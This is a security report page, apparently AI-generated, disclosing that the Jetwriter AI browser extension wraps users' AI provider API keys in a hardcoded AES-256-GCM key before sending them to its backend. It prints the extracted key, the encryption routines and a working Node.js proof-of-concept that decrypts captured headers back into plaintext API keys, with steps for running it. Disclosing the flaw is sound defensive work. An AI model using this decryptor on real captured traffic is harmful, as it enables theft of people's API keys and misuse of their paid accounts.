Is Jetwriter AI: Reply Emails, Ask Page, Summarize, Fix Grammar, and More safe?
Jetwriter AI is high risk. Jetwriter AI encrypts your OpenAI, Anthropic, or Gemini key with an AES-256-GCM key hardcoded in its source, attached to requests as `x-encrypted-api-key`. Since the key ships with the extension, anyone with the code can recover it.
Who publishes itgourav.io - no other listings under this identity
gourav.io - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
AI API key encrypted with hardcoded key, sent to extension server
Jetwriter AI encrypts your OpenAI, Anthropic, or Gemini key with an AES-256-GCM key hardcoded in its source, attached to requests as `x-encrypted-api-key`.
Since the key ships with the extension, anyone with the code can recover it.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You paste your OpenAI, Anthropic, or Gemini API key into Jetwriter AI's settings.
This is the standard "bring your own key" flow on the free plan, where the extension is supposed to use your own AI provider account.
The extension encrypts your key with an AES-256-GCM key that is hardcoded into the extension itself, then attaches the result as an HTTP header on requests to jetwriter.ai.
Because the decryption key is shipped to every user inside the extension, the encryption does not protect the key from jetwriter.ai or from anyone else who has read the extension's source.
- Your AI provider API key (encrypted)x-encrypted-api-key: 3K8s2VqWUlxAd9pNn4l3RhwlZ8mTSeJZ5fHzWxK4Yo3wq2nh7v8c+1tJ8b5gPaY=
Your OpenAI, Anthropic, or Gemini API key, wrapped in an encryption that anyone with the extension can undo.
- Provider domainx-domain: openai.com
Tells the server which AI provider your key is for (OpenAI, Anthropic, Gemini).
- Your timezonex-user-timezone: Europe/London
Your IANA timezone, sent on the same request.
- Prompt body{"messages":[{"role":"user","content":"Summarise this page..."}]}
The text you are asking the AI to act on, sent in the JSON request body.
The hardcoded key, the encrypt routine, and the request that carries the result.
The hardcoded AES-256 key
// 32-byte AES-256 key, hex-encoded, present in every install.const HARDCODED_AES_KEY_HEX = "19771b44d0c1c895f01713745f2a5f79adbe04b388b098ba75fb86292ea6a6eb";Encrypt: AES-GCM, random 12-byte IV prepended, base64 wrapped
async function encryptWithHardcodedKey(plaintext, hexKey) { const keyBytes = hexToBytes(hexKey); const cryptoKey = await crypto.subtle.importKey( 'raw', keyBytes, { name: 'AES-GCM' }, false, ['encrypt'] ); const iv = crypto.getRandomValues(new Uint8Array(12)); const ciphertext = await crypto.subtle.encrypt( { name: 'AES-GCM', iv }, cryptoKey, new TextEncoder().encode(plaintext) ); // Output = base64( iv || ciphertext_with_gcm_tag ) const out = new Uint8Array(iv.length + ciphertext.byteLength); out.set(iv, 0); out.set(new Uint8Array(ciphertext), iv.length); return btoa(String.fromCharCode(...out));}Decrypt: split off IV, decrypt the rest. Same hardcoded key.
async function decryptWithHardcodedKey(b64, hexKey) { const keyBytes = hexToBytes(hexKey); const cryptoKey = await crypto.subtle.importKey( 'raw', keyBytes, { name: 'AES-GCM' }, false, ['decrypt'] ); const blob = Uint8Array.from(atob(b64), c => c.charCodeAt(0)); const iv = blob.slice(0, 12); const ciphertext = blob.slice(12); const plaintext = await crypto.subtle.decrypt( { name: 'AES-GCM', iv }, cryptoKey, ciphertext ); return new TextDecoder().decode(plaintext);}function hexToBytes(hex) { const out = new Uint8Array(hex.length / 2); for (let i = 0; i < hex.length; i += 2) out[i / 2] = parseInt(hex.substr(i, 2), 16); return out;}Save flow: user pastes their API key, extension wraps it with the hardcoded key, stores both
async function saveUserApiKey(provider, plainKey) { const encryptedBlob = await encryptWithHardcodedKey(plainKey, HARDCODED_AES_KEY_HEX); await persistEncryptedKey(provider, encryptedBlob); settings[provider].apiKey = plainKey; settings[provider].apiKeyEncrypted = encryptedBlob; await broadcast({ action: 'syncSettingsInAllCS', payload: null });}Outbound: encrypted key is attached as x-encrypted-api-key on every AI request to jetwriter.ai
async function generateStreamingResponse(reqId, topic, url, method, request, state, ctx) { const headers = baseHeaders(ctx); headers.set('x-domain', request.headers.domain); // openai.com / anthropic.com / etc if (request.headers.userProvidedEncryptedApiKey) { headers.set('x-encrypted-api-key', request.headers.userProvidedEncryptedApiKey); } const tz = getUserTimezone(); if (tz) headers.set('x-user-timezone', tz); const controller = new AbortController(); state.requestController = controller; const resp = await fetch(url, { signal: controller.signal, body: JSON.stringify(request.body), headers, method, }); // ... streams response back to the page}On the wire, the API key is base64 ciphertext that looks meaningless. Because the AES key is hardcoded into the extension, anyone with the extension's source can decrypt it back to the plaintext OpenAI/Anthropic/Gemini key.
sk-proj-<example-api-key> (illustrative)Standalone Node.js script that mirrors the extension's own encrypt and decrypt routines using the hardcoded AES-256-GCM key extracted from content-scripts/content.js:24. Run with no arguments to do a round-trip self-test. Pass a captured `x-encrypted-api-key` header value as an argument to recover the original plaintext API key.
- Node.js 18+ (uses built-in `crypto` module, no npm install needed)
#!/usr/bin/env node// Recovers the plaintext API key from any captured x-encrypted-api-key header// produced by Jetwriter AI extension (pdnenlnelpdomajfejgapbdpmjkfpjkp v26.3.3).//// Source references:// content-scripts/content.js:24 -- const ug = "19771b44d0c1...6a6eb"// content-scripts/content.js -- function XR(plaintext, key) // encrypt// content-scripts/content.js -- function $R(ciphertext, key) // decrypt// background.js:983 -- attaches result as x-encrypted-api-key headerconst crypto = require('crypto');const HARDCODED_KEY_HEX = '19771b44d0c1c895f01713745f2a5f79adbe04b388b098ba75fb86292ea6a6eb';const KEY = Buffer.from(HARDCODED_KEY_HEX, 'hex');if (KEY.length !== 32) { throw new Error(`expected 32-byte AES-256 key, got ${KEY.length}`);}// Mirrors content.js XR(): output = base64( iv (12B) || ciphertext || gcm_tag (16B) )function encrypt(plaintext) { const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', KEY, iv); const ct = Buffer.concat([cipher.update(plaintext, 'utf8'), cipher.final()]); const tag = cipher.getAuthTag(); // 16 bytes return Buffer.concat([iv, ct, tag]).toString('base64');}// Mirrors content.js $R(): split iv (12B) | ciphertext | last 16B = GCM tag.function decrypt(b64) { const blob = Buffer.from(b64, 'base64'); const iv = blob.subarray(0, 12); const tag = blob.subarray(blob.length - 16); const ct = blob.subarray(12, blob.length - 16); const decipher = crypto.createDecipheriv('aes-256-gcm', KEY, iv); decipher.setAuthTag(tag); return Buffer.concat([decipher.update(ct), decipher.final()]).toString('utf8');}const arg = process.argv[2];if (arg) { console.log('Decrypted plaintext:', decrypt(arg)); process.exit(0);}// Self-test: encrypt a fake OpenAI key with the hardcoded extension key,// then decrypt it back. Anyone with the extension can do this.const fakeApiKey = '<planted-marker>';const blob = encrypt(fakeApiKey);console.log('--- PoC: hardcoded AES-256-GCM key recovers user API keys ---');console.log('Hardcoded key (hex) :', HARDCODED_KEY_HEX);console.log('Plaintext API key :', fakeApiKey);console.log('Encrypted blob (b64) :', blob);console.log('Round-trip decrypt :', decrypt(blob));console.log('Match :', decrypt(blob) === fakeApiKey);- 1Save as `jetwriter-decrypt-api-key.js`.
- 2Run `node jetwriter-decrypt-api-key.js` with no args for a self-test proving the key works.
- 3To decrypt a captured header, run with `<base64_header_value>`; the plaintext key prints.
- jetwriter.ai
Vendor's own backend. Receives the AES-encrypted key as `x-encrypted-api-key` on POSTs to generateStreamingResponse. The shipped key lets the server or any code holder recover it.